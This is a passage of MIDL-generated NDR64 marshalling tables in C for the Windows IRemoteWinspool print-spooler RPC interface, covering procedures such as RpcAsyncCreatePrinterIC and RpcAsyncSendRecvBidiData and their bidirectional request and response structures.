=\n{ \n/* *DEVMODE_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag10\n};\n\nstatic const __midl_frag497_t __midl_frag497 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 160 /* 0xa0 */,\n    (NDR64_UINT8) 1 /* 0x1 */,\n    (NDR64_UINT8) 3 /* 0x3 */\n};\n\nstatic const __midl_frag496_t __midl_frag496 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag497\n};\n\nstatic const __midl_frag495_t __midl_frag495 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 2 /* 0x2 */\n};\n\nstatic const __midl_frag494_t __midl_frag494 =\n{ \n/* RpcAsyncCreatePrinterIC */\n    { \n    /* RpcAsyncCreatePrinterIC */      /* procedure RpcAsyncCreatePrinterIC */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag495,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pHandle */      /* parameter pHandle */\n        &__midl_frag497,\n        { \n        /* pHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pDevModeContainer */      /* parameter pDevModeContainer */\n        &__midl_frag10,\n        { \n        /* pDevModeContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag492_t __midl_frag492 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */\n    }\n};\n\nstatic const __midl_frag491_t __midl_frag491 =\n{ \n/* __MIDL_IRemoteWinspool_0013 */\n    { \n    /* __MIDL_IRemoteWinspool_0013 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        &__midl_frag492,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 0 /* 0x0 */,\n        &__midl_frag948,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag948,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag948,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 4 /* 0x4 */,\n        &__midl_frag942,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 5 /* 0x5 */,\n        &__midl_frag942,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 6 /* 0x6 */,\n        &__midl_frag942,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag477,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 7 /* 0x7 */,\n        &__midl_frag478,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag489_t __midl_frag489 =\n{ \n/* RPC_BIDI_RESPONSE_DATA */\n    { \n    /* RPC_BIDI_RESPONSE_DATA */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* RPC_BIDI_RESPONSE_DATA */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 20 /* 0x14 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag947\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag488_t __midl_frag488 =\n{ \n/* RPC_BIDI_RESPONSE_DATA */\n    { \n    /* RPC_BIDI_RESPONSE_DATA */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_BIDI_RESPONSE_DATA */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag489\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag491\n        },\n        { \n        /* RPC_BIDI_DATA */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag487_t __midl_frag487 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    }\n};\n\nstatic const __midl_frag486_t __midl_frag486 =\n{ \n/*  */\n    { \n    /* struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT */\n        { \n        /* struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT */\n            0x47,    /* FC64_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag488\n        },\n        &__midl_frag487,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag485_t __midl_frag485 =\n{ \n/* RPC_BIDI_RESPONSE_CONTAINER */\n    { \n    /* RPC_BIDI_RESPONSE_CONTAINER */\n        0x36,    /* FC64_CONF_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_BIDI_RESPONSE_CONTAINER */\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 1 /* 0x1 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n        &__midl_frag486,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag484_t __midl_frag484 =\n{ \n/* *RPC_BIDI_RESPONSE_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag485\n};\n\nstatic const __midl_frag483_t __midl_frag483 =\n{ \n/* **RPC_BIDI_RESPONSE_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 20 /* 0x14 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag484\n};\n\nstatic const __midl_frag482_t __midl_frag482 =\n{ \n/*  */\n    { \n    /* *BYTE */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag479\n    }\n};\n\nstatic const __midl_frag480_t __midl_frag480 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag479_t __midl_frag479 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag480\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag883\n    }\n};\n\nstatic const __midl_frag478_t __midl_frag478 =\n{ \n/* RPC_BINARY_CONTAINER */\n    { \n    /* RPC_BINARY_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_BINARY_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag482,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag477_t __midl_frag477 =\n0xb    /* FC64_FLOAT32 */;\n\nstatic const __midl_frag470_t __midl_frag470 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag469\n    }\n};\n\nstatic const __midl_frag469_t __midl_frag469 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag468_t __midl_frag468 =\n{ \n/* RPC_BIDI_REQUEST_DATA */\n    { \n    /* RPC_BIDI_REQUEST_DATA */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_BIDI_REQUEST_DATA */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        0,\n        0,\n        &__midl_frag470,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* RPC_BIDI_DATA */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag491\n        },\n        { \n        /* RPC_BIDI_DATA */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag466_t __midl_frag466 =\n{ \n/*  */\n    { \n    /* struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT */\n        { \n        /* struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT */\n            0x47,    /* FC64_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag468\n        },\n        &__midl_frag487,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag465_t __midl_frag465 =\n{ \n/* RPC_BIDI_REQUEST_CONTAINER */\n    { \n    /* RPC_BIDI_REQUEST_CONTAINER */\n        0x36,    /* FC64_CONF_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_BIDI_REQUEST_CONTAINER */\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 1 /* 0x1 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n        &__midl_frag466,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag464_t __midl_frag464 =\n{ \n/* *RPC_BIDI_REQUEST_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag465\n};\n\nstatic const __midl_frag462_t __midl_frag462 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag469\n};\n\nstatic const __midl_frag461_t __midl_frag461 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag460_t __midl_frag460 =\n{ \n/* RpcAsyncSendRecvBidiData */\n    { \n    /* RpcAsyncSendRecvBidiData */      /* procedure RpcAsyncSendRecvBidiData */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag461,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pAction */      /* parameter pAction */\n        &__midl_frag462,\n        { \n        /* pAction */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pReqData */      /* parameter pReqData */\n        &__midl_frag465,\n        { \n        /* pReqData */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* ppRespData */      /* parameter ppRespData */\n        &__midl_frag483,\n        { \n        /* ppRespData */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag457_t __midl_frag457 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag948\n};\n\nstatic const __midl_frag455_t __midl_frag455 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag948\n};\n\nstatic const __midl_frag452_t __midl_frag452 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag451_t __midl_frag451 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag452\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag505\n    }\n};\n\nstatic const __midl_frag450_t __midl_frag450 =\n{ \n/* *char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag451\n};\n\nstatic const __midl_frag449_t __midl_frag449 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag448_t __midl_frag448 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag447_t __midl_frag447 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag446_t __midl_frag446 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            